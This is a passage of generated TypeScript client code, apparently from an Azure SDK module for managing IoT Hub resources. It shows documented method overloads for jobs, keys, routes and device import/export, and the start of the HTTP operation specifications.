msRest.RequestOptionsBase | msRest.ServiceCallback<Models.JobResponseListResult>, callback?: msRest.ServiceCallback<Models.JobResponseListResult>): Promise<Models.IotHubResourceListJobsResponse> { return this.client.sendOperationRequest( { resourceGroupName, resourceName, options }, listJobsOperationSpec, callback) as Promise<Models.IotHubResourceListJobsResponse>; } /** * Get the details of a job from an IoT hub. For more information, see: * https://docs.microsoft.com/azure/iot-hub/iot-hub-devguide-identity-registry. * @summary Get the details of a job from an IoT hub. For more information, see: * https://docs.microsoft.com/azure/iot-hub/iot-hub-devguide-identity-registry * @param resourceGroupName The name of the resource group that contains the IoT hub. * @param resourceName The name of the IoT hub. * @param jobId The job identifier. * @param [options] The optional parameters * @returns Promise<Models.IotHubResourceGetJobResponse> */ getJob(resourceGroupName: string, resourceName: string, jobId: string, options?: msRest.RequestOptionsBase): Promise<Models.IotHubResourceGetJobResponse>; /** * @param resourceGroupName The name of the resource group that contains the IoT hub. * @param resourceName The name of the IoT hub. * @param jobId The job identifier. * @param callback The callback */ getJob(resourceGroupName: string, resourceName: string, jobId: string, callback: msRest.ServiceCallback<Models.JobResponse>): void; /** * @param resourceGroupName The name of the resource group that contains the IoT hub. * @param resourceName The name of the IoT hub. * @param jobId The job identifier. * @param options The optional parameters * @param callback The callback */ getJob(resourceGroupName: string, resourceName: string, jobId: string, options: msRest.RequestOptionsBase, callback: msRest.ServiceCallback<Models.JobResponse>): void; getJob(resourceGroupName: string, resourceName: string, jobId: string, options?: msRest.RequestOptionsBase | msRest.ServiceCallback<Models.JobResponse>, callback?: msRest.ServiceCallback<Models.JobResponse>): Promise<Models.IotHubResourceGetJobResponse> { return this.client.sendOperationRequest( { resourceGroupName, resourceName, jobId, options }, getJobOperationSpec, callback) as Promise<Models.IotHubResourceGetJobResponse>; } /** * Get the quota metrics for an IoT hub. * @summary Get the quota metrics for an IoT hub * @param resourceGroupName The name of the resource group that contains the IoT hub. * @param resourceName The name of the IoT hub. * @param [options] The optional parameters * @returns Promise<Models.IotHubResourceGetQuotaMetricsResponse> */ getQuotaMetrics(resourceGroupName: string, resourceName: string, options?: msRest.RequestOptionsBase): Promise<Models.IotHubResourceGetQuotaMetricsResponse>; /** * @param resourceGroupName The name of the resource group that contains the IoT hub. * @param resourceName The name of the IoT hub. * @param callback The callback */ getQuotaMetrics(resourceGroupName: string, resourceName: string, callback: msRest.ServiceCallback<Models.IotHubQuotaMetricInfoListResult>): void; /** * @param resourceGroupName The name of the resource group that contains the IoT hub. * @param resourceName The name of the IoT hub. * @param options The optional parameters * @param callback The callback */ getQuotaMetrics(resourceGroupName: string, resourceName: string, options: msRest.RequestOptionsBase, callback: msRest.ServiceCallback<Models.IotHubQuotaMetricInfoListResult>): void; getQuotaMetrics(resourceGroupName: string, resourceName: string, options?: msRest.RequestOptionsBase | msRest.ServiceCallback<Models.IotHubQuotaMetricInfoListResult>, callback?: msRest.ServiceCallback<Models.IotHubQuotaMetricInfoListResult>): Promise<Models.IotHubResourceGetQuotaMetricsResponse> { return this.client.sendOperationRequest( { resourceGroupName, resourceName, options }, getQuotaMetricsOperationSpec, callback) as Promise<Models.IotHubResourceGetQuotaMetricsResponse>; } /** * Get the health for routing endpoints. * @summary Get the health for routing endpoints * @param resourceGroupName * @param iotHubName * @param [options] The optional parameters * @returns Promise<Models.IotHubResourceGetEndpointHealthResponse> */ getEndpointHealth(resourceGroupName: string, iotHubName: string, options?: msRest.RequestOptionsBase): Promise<Models.IotHubResourceGetEndpointHealthResponse>; /** * @param resourceGroupName * @param iotHubName * @param callback The callback */ getEndpointHealth(resourceGroupName: string, iotHubName: string, callback: msRest.ServiceCallback<Models.EndpointHealthDataListResult>): void; /** * @param resourceGroupName * @param iotHubName * @param options The optional parameters * @param callback The callback */ getEndpointHealth(resourceGroupName: string, iotHubName: string, options: msRest.RequestOptionsBase, callback: msRest.ServiceCallback<Models.EndpointHealthDataListResult>): void; getEndpointHealth(resourceGroupName: string, iotHubName: string, options?: msRest.RequestOptionsBase | msRest.ServiceCallback<Models.EndpointHealthDataListResult>, callback?: msRest.ServiceCallback<Models.EndpointHealthDataListResult>): Promise<Models.IotHubResourceGetEndpointHealthResponse> { return this.client.sendOperationRequest( { resourceGroupName, iotHubName, options }, getEndpointHealthOperationSpec, callback) as Promise<Models.IotHubResourceGetEndpointHealthResponse>; } /** * Check if an IoT hub name is available. * @summary Check if an IoT hub name is available * @param name The name of the IoT hub to check. * @param [options] The optional parameters * @returns Promise<Models.IotHubResourceCheckNameAvailabilityResponse> */ checkNameAvailability(name: string, options?: msRest.RequestOptionsBase): Promise<Models.IotHubResourceCheckNameAvailabilityResponse>; /** * @param name The name of the IoT hub to check. * @param callback The callback */ checkNameAvailability(name: string, callback: msRest.ServiceCallback<Models.IotHubNameAvailabilityInfo>): void; /** * @param name The name of the IoT hub to check. * @param options The optional parameters * @param callback The callback */ checkNameAvailability(name: string, options: msRest.RequestOptionsBase, callback: msRest.ServiceCallback<Models.IotHubNameAvailabilityInfo>): void; checkNameAvailability(name: string, options?: msRest.RequestOptionsBase | msRest.ServiceCallback<Models.IotHubNameAvailabilityInfo>, callback?: msRest.ServiceCallback<Models.IotHubNameAvailabilityInfo>): Promise<Models.IotHubResourceCheckNameAvailabilityResponse> { return this.client.sendOperationRequest( { name, options }, checkNameAvailabilityOperationSpec, callback) as Promise<Models.IotHubResourceCheckNameAvailabilityResponse>; } /** * Test all routes configured in this Iot Hub * @summary Test all routes * @param input Input for testing all routes * @param iotHubName IotHub to be tested * @param resourceGroupName resource group which Iot Hub belongs to * @param [options] The optional parameters * @returns Promise<Models.IotHubResourceTestAllRoutesResponse> */ testAllRoutes(input: Models.TestAllRoutesInput, iotHubName: string, resourceGroupName: string, options?: msRest.RequestOptionsBase): Promise<Models.IotHubResourceTestAllRoutesResponse>; /** * @param input Input for testing all routes * @param iotHubName IotHub to be tested * @param resourceGroupName resource group which Iot Hub belongs to * @param callback The callback */ testAllRoutes(input: Models.TestAllRoutesInput, iotHubName: string, resourceGroupName: string, callback: msRest.ServiceCallback<Models.TestAllRoutesResult>): void; /** * @param input Input for testing all routes * @param iotHubName IotHub to be tested * @param resourceGroupName resource group which Iot Hub belongs to * @param options The optional parameters * @param callback The callback */ testAllRoutes(input: Models.TestAllRoutesInput, iotHubName: string, resourceGroupName: string, options: msRest.RequestOptionsBase, callback: msRest.ServiceCallback<Models.TestAllRoutesResult>): void; testAllRoutes(input: Models.TestAllRoutesInput, iotHubName: string, resourceGroupName: string, options?: msRest.RequestOptionsBase | msRest.ServiceCallback<Models.TestAllRoutesResult>, callback?: msRest.ServiceCallback<Models.TestAllRoutesResult>): Promise<Models.IotHubResourceTestAllRoutesResponse> { return this.client.sendOperationRequest( { input, iotHubName, resourceGroupName, options }, testAllRoutesOperationSpec, callback) as Promise<Models.IotHubResourceTestAllRoutesResponse>; } /** * Test the new route for this Iot Hub * @summary Test the new route * @param input Route that needs to be tested * @param iotHubName IotHub to be tested * @param resourceGroupName resource group which Iot Hub belongs to * @param [options] The optional parameters * @returns Promise<Models.IotHubResourceTestRouteResponse> */ testRoute(input: Models.TestRouteInput, iotHubName: string, resourceGroupName: string, options?: msRest.RequestOptionsBase): Promise<Models.IotHubResourceTestRouteResponse>; /** * @param input Route that needs to be tested * @param iotHubName IotHub to be tested * @param resourceGroupName resource group which Iot Hub belongs to * @param callback The callback */ testRoute(input: Models.TestRouteInput, iotHubName: string, resourceGroupName: string, callback: msRest.ServiceCallback<Models.TestRouteResult>): void; /** * @param input Route that needs to be tested * @param iotHubName IotHub to be tested * @param resourceGroupName resource group which Iot Hub belongs to * @param options The optional parameters * @param callback The callback */ testRoute(input: Models.TestRouteInput, iotHubName: string, resourceGroupName: string, options: msRest.RequestOptionsBase, callback: msRest.ServiceCallback<Models.TestRouteResult>): void; testRoute(input: Models.TestRouteInput, iotHubName: string, resourceGroupName: string, options?: msRest.RequestOptionsBase | msRest.ServiceCallback<Models.TestRouteResult>, callback?: msRest.ServiceCallback<Models.TestRouteResult>): Promise<Models.IotHubResourceTestRouteResponse> { return this.client.sendOperationRequest( { input, iotHubName, resourceGroupName, options }, testRouteOperationSpec, callback) as Promise<Models.IotHubResourceTestRouteResponse>; } /** * Get the security metadata for an IoT hub. For more information, see: * https://docs.microsoft.com/azure/iot-hub/iot-hub-devguide-security. * @summary Get the security metadata for an IoT hub. For more information, see: * https://docs.microsoft.com/azure/iot-hub/iot-hub-devguide-security * @param resourceGroupName The name of the resource group that contains the IoT hub. * @param resourceName The name of the IoT hub. * @param [options] The optional parameters * @returns Promise<Models.IotHubResourceListKeysResponse> */ listKeys(resourceGroupName: string, resourceName: string, options?: msRest.RequestOptionsBase): Promise<Models.IotHubResourceListKeysResponse>; /** * @param resourceGroupName The name of the resource group that contains the IoT hub. * @param resourceName The name of the IoT hub. * @param callback The callback */ listKeys(resourceGroupName: string, resourceName: string, callback: msRest.ServiceCallback<Models.SharedAccessSignatureAuthorizationRuleListResult>): void; /** * @param resourceGroupName The name of the resource group that contains the IoT hub. * @param resourceName The name of the IoT hub. * @param options The optional parameters * @param callback The callback */ listKeys(resourceGroupName: string, resourceName: string, options: msRest.RequestOptionsBase, callback: msRest.ServiceCallback<Models.SharedAccessSignatureAuthorizationRuleListResult>): void; listKeys(resourceGroupName: string, resourceName: string, options?: msRest.RequestOptionsBase | msRest.ServiceCallback<Models.SharedAccessSignatureAuthorizationRuleListResult>, callback?: msRest.ServiceCallback<Models.SharedAccessSignatureAuthorizationRuleListResult>): Promise<Models.IotHubResourceListKeysResponse> { return this.client.sendOperationRequest( { resourceGroupName, resourceName, options }, listKeysOperationSpec, callback) as Promise<Models.IotHubResourceListKeysResponse>; } /** * Get a shared access policy by name from an IoT hub. For more information, see: * https://docs.microsoft.com/azure/iot-hub/iot-hub-devguide-security. * @summary Get a shared access policy by name from an IoT hub. For more information, see: * https://docs.microsoft.com/azure/iot-hub/iot-hub-devguide-security * @param resourceGroupName The name of the resource group that contains the IoT hub. * @param resourceName The name of the IoT hub. * @param keyName The name of the shared access policy. * @param [options] The optional parameters * @returns Promise<Models.IotHubResourceGetKeysForKeyNameResponse> */ getKeysForKeyName(resourceGroupName: string, resourceName: string, keyName: string, options?: msRest.RequestOptionsBase): Promise<Models.IotHubResourceGetKeysForKeyNameResponse>; /** * @param resourceGroupName The name of the resource group that contains the IoT hub. * @param resourceName The name of the IoT hub. * @param keyName The name of the shared access policy. * @param callback The callback */ getKeysForKeyName(resourceGroupName: string, resourceName: string, keyName: string, callback: msRest.ServiceCallback<Models.SharedAccessSignatureAuthorizationRule>): void; /** * @param resourceGroupName The name of the resource group that contains the IoT hub. * @param resourceName The name of the IoT hub. * @param keyName The name of the shared access policy. * @param options The optional parameters * @param callback The callback */ getKeysForKeyName(resourceGroupName: string, resourceName: string, keyName: string, options: msRest.RequestOptionsBase, callback: msRest.ServiceCallback<Models.SharedAccessSignatureAuthorizationRule>): void; getKeysForKeyName(resourceGroupName: string, resourceName: string, keyName: string, options?: msRest.RequestOptionsBase | msRest.ServiceCallback<Models.SharedAccessSignatureAuthorizationRule>, callback?: msRest.ServiceCallback<Models.SharedAccessSignatureAuthorizationRule>): Promise<Models.IotHubResourceGetKeysForKeyNameResponse> { return this.client.sendOperationRequest( { resourceGroupName, resourceName, keyName, options }, getKeysForKeyNameOperationSpec, callback) as Promise<Models.IotHubResourceGetKeysForKeyNameResponse>; } /** * Exports all the device identities in the IoT hub identity registry to an Azure Storage blob * container. For more information, see: * https://docs.microsoft.com/azure/iot-hub/iot-hub-devguide-identity-registry#import-and-export-device-identities. * @summary Exports all the device identities in the IoT hub identity registry to an Azure Storage * blob container. For more information, see: * https://docs.microsoft.com/azure/iot-hub/iot-hub-devguide-identity-registry#import-and-export-device-identities * @param resourceGroupName The name of the resource group that contains the IoT hub. * @param resourceName The name of the IoT hub. * @param exportDevicesParameters The parameters that specify the export devices operation. * @param [options] The optional parameters * @returns Promise<Models.IotHubResourceExportDevicesResponse> */ exportDevices(resourceGroupName: string, resourceName: string, exportDevicesParameters: Models.ExportDevicesRequest, options?: msRest.RequestOptionsBase): Promise<Models.IotHubResourceExportDevicesResponse>; /** * @param resourceGroupName The name of the resource group that contains the IoT hub. * @param resourceName The name of the IoT hub. * @param exportDevicesParameters The parameters that specify the export devices operation. * @param callback The callback */ exportDevices(resourceGroupName: string, resourceName: string, exportDevicesParameters: Models.ExportDevicesRequest, callback: msRest.ServiceCallback<Models.JobResponse>): void; /** * @param resourceGroupName The name of the resource group that contains the IoT hub. * @param resourceName The name of the IoT hub. * @param exportDevicesParameters The parameters that specify the export devices operation. * @param options The optional parameters * @param callback The callback */ exportDevices(resourceGroupName: string, resourceName: string, exportDevicesParameters: Models.ExportDevicesRequest, options: msRest.RequestOptionsBase, callback: msRest.ServiceCallback<Models.JobResponse>): void; exportDevices(resourceGroupName: string, resourceName: string, exportDevicesParameters: Models.ExportDevicesRequest, options?: msRest.RequestOptionsBase | msRest.ServiceCallback<Models.JobResponse>, callback?: msRest.ServiceCallback<Models.JobResponse>): Promise<Models.IotHubResourceExportDevicesResponse> { return this.client.sendOperationRequest( { resourceGroupName, resourceName, exportDevicesParameters, options }, exportDevicesOperationSpec, callback) as Promise<Models.IotHubResourceExportDevicesResponse>; } /** * Import, update, or delete device identities in the IoT hub identity registry from a blob. For * more information, see: * https://docs.microsoft.com/azure/iot-hub/iot-hub-devguide-identity-registry#import-and-export-device-identities. * @summary Import, update, or delete device identities in the IoT hub identity registry from a * blob. For more information, see: * https://docs.microsoft.com/azure/iot-hub/iot-hub-devguide-identity-registry#import-and-export-device-identities * @param resourceGroupName The name of the resource group that contains the IoT hub. * @param resourceName The name of the IoT hub. * @param importDevicesParameters The parameters that specify the import devices operation. * @param [options] The optional parameters * @returns Promise<Models.IotHubResourceImportDevicesResponse> */ importDevices(resourceGroupName: string, resourceName: string, importDevicesParameters: Models.ImportDevicesRequest, options?: msRest.RequestOptionsBase): Promise<Models.IotHubResourceImportDevicesResponse>; /** * @param resourceGroupName The name of the resource group that contains the IoT hub. * @param resourceName The name of the IoT hub. * @param importDevicesParameters The parameters that specify the import devices operation. * @param callback The callback */ importDevices(resourceGroupName: string, resourceName: string, importDevicesParameters: Models.ImportDevicesRequest, callback: msRest.ServiceCallback<Models.JobResponse>): void; /** * @param resourceGroupName The name of the resource group that contains the IoT hub. * @param resourceName The name of the IoT hub. * @param importDevicesParameters The parameters that specify the import devices operation. * @param options The optional parameters * @param callback The callback */ importDevices(resourceGroupName: string, resourceName: string, importDevicesParameters: Models.ImportDevicesRequest, options: msRest.RequestOptionsBase, callback: msRest.ServiceCallback<Models.JobResponse>): void; importDevices(resourceGroupName: string, resourceName: string, importDevicesParameters: Models.ImportDevicesRequest, options?: msRest.RequestOptionsBase | msRest.ServiceCallback<Models.JobResponse>, callback?: msRest.ServiceCallback<Models.JobResponse>): Promise<Models.IotHubResourceImportDevicesResponse> { return this.client.sendOperationRequest( { resourceGroupName, resourceName, importDevicesParameters, options }, importDevicesOperationSpec, callback) as Promise<Models.IotHubResourceImportDevicesResponse>; } /** * Create or update the metadata of an Iot hub. The usual pattern to modify a property is to * retrieve the IoT hub metadata and security metadata, and then combine them with the modified * values in a new body to update the IoT hub. * @summary Create or update the metadata of an IoT hub. * @param resourceGroupName The name of the resource group that contains the IoT hub. * @param resourceName The name of the IoT hub. * @param iotHubDescription The IoT hub metadata and security metadata. * @param [options] The optional parameters * @returns Promise<msRestAzure.LROPoller> */ beginCreateOrUpdate(resourceGroupName: string, resourceName: string, iotHubDescription: Models.IotHubDescription, options?: Models.IotHubResourceBeginCreateOrUpdateOptionalParams): Promise<msRestAzure.LROPoller> { return this.client.sendLRORequest( { resourceGroupName, resourceName, iotHubDescription, options }, beginCreateOrUpdateOperationSpec, options); } /** * Update an existing IoT Hub tags. to update other fields use the CreateOrUpdate method * @summary Update an existing IoT Hubs tags. * @param resourceGroupName Resource group identifier. * @param resourceName Name of iot hub to update. * @param [options] The optional parameters * @returns Promise<msRestAzure.LROPoller> */ beginUpdate(resourceGroupName: string, resourceName: string, options?: Models.IotHubResourceBeginUpdateOptionalParams): Promise<msRestAzure.LROPoller> { return this.client.sendLRORequest( { resourceGroupName, resourceName, options }, beginUpdateOperationSpec, options); } /** * Delete an IoT hub. * @summary Delete an IoT hub * @param resourceGroupName The name of the resource group that contains the IoT hub. * @param resourceName The name of the IoT hub. * @param [options] The optional parameters * @returns Promise<msRestAzure.LROPoller> */ beginDeleteMethod(resourceGroupName: string, resourceName: string, options?: msRest.RequestOptionsBase): Promise<msRestAzure.LROPoller> { return this.client.sendLRORequest( { resourceGroupName, resourceName, options }, beginDeleteMethodOperationSpec, options); } /** * Get all the IoT hubs in a subscription. * @summary Get all the IoT hubs in a subscription * @param nextPageLink The NextLink from the previous successful call to List operation. * @param [options] The optional parameters * @returns Promise<Models.IotHubResourceListBySubscriptionNextResponse> */ listBySubscriptionNext(nextPageLink: string, options?: msRest.RequestOptionsBase): Promise<Models.IotHubResourceListBySubscriptionNextResponse>; /** * @param nextPageLink The NextLink from the previous successful call to List operation. * @param callback The callback */ listBySubscriptionNext(nextPageLink: string, callback: msRest.ServiceCallback<Models.IotHubDescriptionListResult>): void; /** * @param nextPageLink The NextLink from the previous successful call to List operation. * @param options The optional parameters * @param callback The callback */ listBySubscriptionNext(nextPageLink: string, options: msRest.RequestOptionsBase, callback: msRest.ServiceCallback<Models.IotHubDescriptionListResult>): void; listBySubscriptionNext(nextPageLink: string, options?: msRest.RequestOptionsBase | msRest.ServiceCallback<Models.IotHubDescriptionListResult>, callback?: msRest.ServiceCallback<Models.IotHubDescriptionListResult>): Promise<Models.IotHubResourceListBySubscriptionNextResponse> { return this.client.sendOperationRequest( { nextPageLink, options }, listBySubscriptionNextOperationSpec, callback) as Promise<Models.IotHubResourceListBySubscriptionNextResponse>; } /** * Get all the IoT hubs in a resource group. * @summary Get all the IoT hubs in a resource group * @param nextPageLink The NextLink from the previous successful call to List operation. * @param [options] The optional parameters * @returns Promise<Models.IotHubResourceListByResourceGroupNextResponse> */ listByResourceGroupNext(nextPageLink: string, options?: msRest.RequestOptionsBase): Promise<Models.IotHubResourceListByResourceGroupNextResponse>; /** * @param nextPageLink The NextLink from the previous successful call to List operation. * @param callback The callback */ listByResourceGroupNext(nextPageLink: string, callback: msRest.ServiceCallback<Models.IotHubDescriptionListResult>): void; /** * @param nextPageLink The NextLink from the previous successful call to List operation. * @param options The optional parameters * @param callback The callback */ listByResourceGroupNext(nextPageLink: string, options: msRest.RequestOptionsBase, callback: msRest.ServiceCallback<Models.IotHubDescriptionListResult>): void; listByResourceGroupNext(nextPageLink: string, options?: msRest.RequestOptionsBase | msRest.ServiceCallback<Models.IotHubDescriptionListResult>, callback?: msRest.ServiceCallback<Models.IotHubDescriptionListResult>): Promise<Models.IotHubResourceListByResourceGroupNextResponse> { return this.client.sendOperationRequest( { nextPageLink, options }, listByResourceGroupNextOperationSpec, callback) as Promise<Models.IotHubResourceListByResourceGroupNextResponse>; } /** * Get the list of valid SKUs for an IoT hub. * @summary Get the list of valid SKUs for an IoT hub * @param nextPageLink The NextLink from the previous successful call to List operation. * @param [options] The optional parameters * @returns Promise<Models.IotHubResourceGetValidSkusNextResponse> */ getValidSkusNext(nextPageLink: string, options?: msRest.RequestOptionsBase): Promise<Models.IotHubResourceGetValidSkusNextResponse>; /** * @param nextPageLink The NextLink from the previous successful call to List operation. * @param callback The callback */ getValidSkusNext(nextPageLink: string, callback: msRest.ServiceCallback<Models.IotHubSkuDescriptionListResult>): void; /** * @param nextPageLink The NextLink from the previous successful call to List operation. * @param options The optional parameters * @param callback The callback */ getValidSkusNext(nextPageLink: string, options: msRest.RequestOptionsBase, callback: msRest.ServiceCallback<Models.IotHubSkuDescriptionListResult>): void; getValidSkusNext(nextPageLink: string, options?: msRest.RequestOptionsBase | msRest.ServiceCallback<Models.IotHubSkuDescriptionListResult>, callback?: msRest.ServiceCallback<Models.IotHubSkuDescriptionListResult>): Promise<Models.IotHubResourceGetValidSkusNextResponse> { return this.client.sendOperationRequest( { nextPageLink, options }, getValidSkusNextOperationSpec, callback) as Promise<Models.IotHubResourceGetValidSkusNextResponse>; } /** * Get a list of the consumer groups in the Event Hub-compatible device-to-cloud endpoint in an IoT * hub. * @summary Get a list of the consumer groups in the Event Hub-compatible device-to-cloud endpoint * in an IoT hub * @param nextPageLink The NextLink from the previous successful call to List operation. * @param [options] The optional parameters * @returns Promise<Models.IotHubResourceListEventHubConsumerGroupsNextResponse> */ listEventHubConsumerGroupsNext(nextPageLink: string, options?: msRest.RequestOptionsBase): Promise<Models.IotHubResourceListEventHubConsumerGroupsNextResponse>; /** * @param nextPageLink The NextLink from the previous successful call to List operation. * @param callback The callback */ listEventHubConsumerGroupsNext(nextPageLink: string, callback: msRest.ServiceCallback<Models.EventHubConsumerGroupsListResult>): void; /** * @param nextPageLink The NextLink from the previous successful call to List operation. * @param options The optional parameters * @param callback The callback */ listEventHubConsumerGroupsNext(nextPageLink: string, options: msRest.RequestOptionsBase, callback: msRest.ServiceCallback<Models.EventHubConsumerGroupsListResult>): void; listEventHubConsumerGroupsNext(nextPageLink: string, options?: msRest.RequestOptionsBase | msRest.ServiceCallback<Models.EventHubConsumerGroupsListResult>, callback?: msRest.ServiceCallback<Models.EventHubConsumerGroupsListResult>): Promise<Models.IotHubResourceListEventHubConsumerGroupsNextResponse> { return this.client.sendOperationRequest( { nextPageLink, options }, listEventHubConsumerGroupsNextOperationSpec, callback) as Promise<Models.IotHubResourceListEventHubConsumerGroupsNextResponse>; } /** * Get a list of all the jobs in an IoT hub. For more information, see: * https://docs.microsoft.com/azure/iot-hub/iot-hub-devguide-identity-registry. * @summary Get a list of all the jobs in an IoT hub. For more information, see: * https://docs.microsoft.com/azure/iot-hub/iot-hub-devguide-identity-registry * @param nextPageLink The NextLink from the previous successful call to List operation. * @param [options] The optional parameters * @returns Promise<Models.IotHubResourceListJobsNextResponse> */ listJobsNext(nextPageLink: string, options?: msRest.RequestOptionsBase): Promise<Models.IotHubResourceListJobsNextResponse>; /** * @param nextPageLink The NextLink from the previous successful call to List operation. * @param callback The callback */ listJobsNext(nextPageLink: string, callback: msRest.ServiceCallback<Models.JobResponseListResult>): void; /** * @param nextPageLink The NextLink from the previous successful call to List operation. * @param options The optional parameters * @param callback The callback */ listJobsNext(nextPageLink: string, options: msRest.RequestOptionsBase, callback: msRest.ServiceCallback<Models.JobResponseListResult>): void; listJobsNext(nextPageLink: string, options?: msRest.RequestOptionsBase | msRest.ServiceCallback<Models.JobResponseListResult>, callback?: msRest.ServiceCallback<Models.JobResponseListResult>): Promise<Models.IotHubResourceListJobsNextResponse> { return this.client.sendOperationRequest( { nextPageLink, options }, listJobsNextOperationSpec, callback) as Promise<Models.IotHubResourceListJobsNextResponse>; } /** * Get the quota metrics for an IoT hub. * @summary Get the quota metrics for an IoT hub * @param nextPageLink The NextLink from the previous successful call to List operation. * @param [options] The optional parameters * @returns Promise<Models.IotHubResourceGetQuotaMetricsNextResponse> */ getQuotaMetricsNext(nextPageLink: string, options?: msRest.RequestOptionsBase): Promise<Models.IotHubResourceGetQuotaMetricsNextResponse>; /** * @param nextPageLink The NextLink from the previous successful call to List operation. * @param callback The callback */ getQuotaMetricsNext(nextPageLink: string, callback: msRest.ServiceCallback<Models.IotHubQuotaMetricInfoListResult>): void; /** * @param nextPageLink The NextLink from the previous successful call to List operation. * @param options The optional parameters * @param callback The callback */ getQuotaMetricsNext(nextPageLink: string, options: msRest.RequestOptionsBase, callback: msRest.ServiceCallback<Models.IotHubQuotaMetricInfoListResult>): void; getQuotaMetricsNext(nextPageLink: string, options?: msRest.RequestOptionsBase | msRest.ServiceCallback<Models.IotHubQuotaMetricInfoListResult>, callback?: msRest.ServiceCallback<Models.IotHubQuotaMetricInfoListResult>): Promise<Models.IotHubResourceGetQuotaMetricsNextResponse> { return this.client.sendOperationRequest( { nextPageLink, options }, getQuotaMetricsNextOperationSpec, callback) as Promise<Models.IotHubResourceGetQuotaMetricsNextResponse>; } /** * Get the health for routing endpoints. * @summary Get the health for routing endpoints * @param nextPageLink The NextLink from the previous successful call to List operation. * @param [options] The optional parameters * @returns Promise<Models.IotHubResourceGetEndpointHealthNextResponse> */ getEndpointHealthNext(nextPageLink: string, options?: msRest.RequestOptionsBase): Promise<Models.IotHubResourceGetEndpointHealthNextResponse>; /** * @param nextPageLink The NextLink from the previous successful call to List operation. * @param callback The callback */ getEndpointHealthNext(nextPageLink: string, callback: msRest.ServiceCallback<Models.EndpointHealthDataListResult>): void; /** * @param nextPageLink The NextLink from the previous successful call to List operation. * @param options The optional parameters * @param callback The callback */ getEndpointHealthNext(nextPageLink: string, options: msRest.RequestOptionsBase, callback: msRest.ServiceCallback<Models.EndpointHealthDataListResult>): void; getEndpointHealthNext(nextPageLink: string, options?: msRest.RequestOptionsBase | msRest.ServiceCallback<Models.EndpointHealthDataListResult>, callback?: msRest.ServiceCallback<Models.EndpointHealthDataListResult>): Promise<Models.IotHubResourceGetEndpointHealthNextResponse> { return this.client.sendOperationRequest( { nextPageLink, options }, getEndpointHealthNextOperationSpec, callback) as Promise<Models.IotHubResourceGetEndpointHealthNextResponse>; } /** * Get the security metadata for an IoT hub. For more information, see: * https://docs.microsoft.com/azure/iot-hub/iot-hub-devguide-security. * @summary Get the security metadata for an IoT hub. For more information, see: * https://docs.microsoft.com/azure/iot-hub/iot-hub-devguide-security * @param nextPageLink The NextLink from the previous successful call to List operation. * @param [options] The optional parameters * @returns Promise<Models.IotHubResourceListKeysNextResponse> */ listKeysNext(nextPageLink: string, options?: msRest.RequestOptionsBase): Promise<Models.IotHubResourceListKeysNextResponse>; /** * @param nextPageLink The NextLink from the previous successful call to List operation. * @param callback The callback */ listKeysNext(nextPageLink: string, callback: msRest.ServiceCallback<Models.SharedAccessSignatureAuthorizationRuleListResult>): void; /** * @param nextPageLink The NextLink from the previous successful call to List operation. * @param options The optional parameters * @param callback The callback */ listKeysNext(nextPageLink: string, options: msRest.RequestOptionsBase, callback: msRest.ServiceCallback<Models.SharedAccessSignatureAuthorizationRuleListResult>): void; listKeysNext(nextPageLink: string, options?: msRest.RequestOptionsBase | msRest.ServiceCallback<Models.SharedAccessSignatureAuthorizationRuleListResult>, callback?: msRest.ServiceCallback<Models.SharedAccessSignatureAuthorizationRuleListResult>): Promise<Models.IotHubResourceListKeysNextResponse> { return this.client.sendOperationRequest( { nextPageLink, options }, listKeysNextOperationSpec, callback) as Promise<Models.IotHubResourceListKeysNextResponse>; } } // Operation Specifications const serializer = new msRest.Serializer(Mappers); const getOperationSpec: msRest.OperationSpec = { httpMethod: "GET", path: "subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Devices/IotHubs/{resourceName}", urlParameters: [ Parameters.subscriptionId, Parameters.resourceGroupName, Parameters.resourceName ], queryParameters: [ Parameters.apiVersion ], headerParameters: [ Parameters.acceptLanguage ], responses: { 200: { bodyMapper: Mappers.IotHubDescription }, default: { bodyMapper: Mappers.ErrorDetails } }, serializer }; const listBySubscriptionOperationSpec: msRest.OperationSpec = { httpMethod: "GET", path: "subscriptions/{subscriptionId}/providers/Microsoft.Devices/IotHubs", urlParameters: [ Parameters.subscriptionId ], queryParameters: [ Parameters.apiVersion ], headerParameters: [ Parameters.acceptLanguage ], responses: { 200: { bodyMapper: Mappers.IotHubDescriptionListResult }, default: { bodyMapper: Mappers.ErrorDetails } }, serializer }; const listByResourceGroupOperationSpec: msRest.OperationSpec = { httpMethod: "GET", path: "subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Devices/IotHubs", urlParameters: [ Parameters.subscriptionId, Parameters.resourceGroupName ], queryParameters: [ Parameters.apiVersion ], headerParameters: [ Parameters.acceptLanguage ], responses: { 200: { bodyMapper: Mappers.IotHubDescriptionListResult }, default: { bodyMapper: Mappers.ErrorDetails } }, serializer }; const getStatsOperationSpec: msRest.OperationSpec = { httpMethod: "GET", path: "subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Devices/IotHubs/{resourceName}/IotHubStats", urlParameters: [ Parameters.subscriptionId, Parameters.resourceGroupName, Parameters.resourceName ], queryParameters: [ Parameters.apiVersion ], headerParameters: [ Parameters.acceptLanguage ], responses: { 200: { bodyMapper: Mappers.RegistryStatistics }, default: { bodyMapper: Mappers.ErrorDetails } }, serializer }; const getValidSkusOperationSpec: msRest.OperationSpec = { httpMethod: "GET", path: "subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Devices/IotHubs/{resourceName}/skus", urlParameters: [ Parameters.subscriptionId, Parameters.resourceGroupName, Parameters.resourceName ], queryParameters: [ Parameters.apiVersion ], headerParameters: [ Parameters.acceptLanguage ], responses: { 200: { bodyMapper: Mappers.IotHubSkuDescriptionListResult }, default: { bodyMapper: Mappers.ErrorDetails } }, serializer }; const listEventHubConsumerGroupsOperationSpec: msRest.OperationSpec = { httpMethod: "GET", path: "subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Devices/IotHubs/{resourceName}/eventHubEndpoints/{eventHubEndpointName}/ConsumerGroups", urlParameters: [ Parameters.subscriptionId, Parameters.resourceGroupName, Parameters.resourceName, Parameters.eventHubEndpointName ], queryParameters: [ Parameters.apiVersion ], headerParameters: [ Parameters.acceptLanguage ], responses: { 200: { bodyMapper: Mappers.EventHubConsumerGroupsListResult }, default: { bodyMapper: Mappers.ErrorDetails } }, serializer }; const getEventHubConsumerGroupOperationSpec: msRest.OperationSpec = { httpMethod: "GET", path: 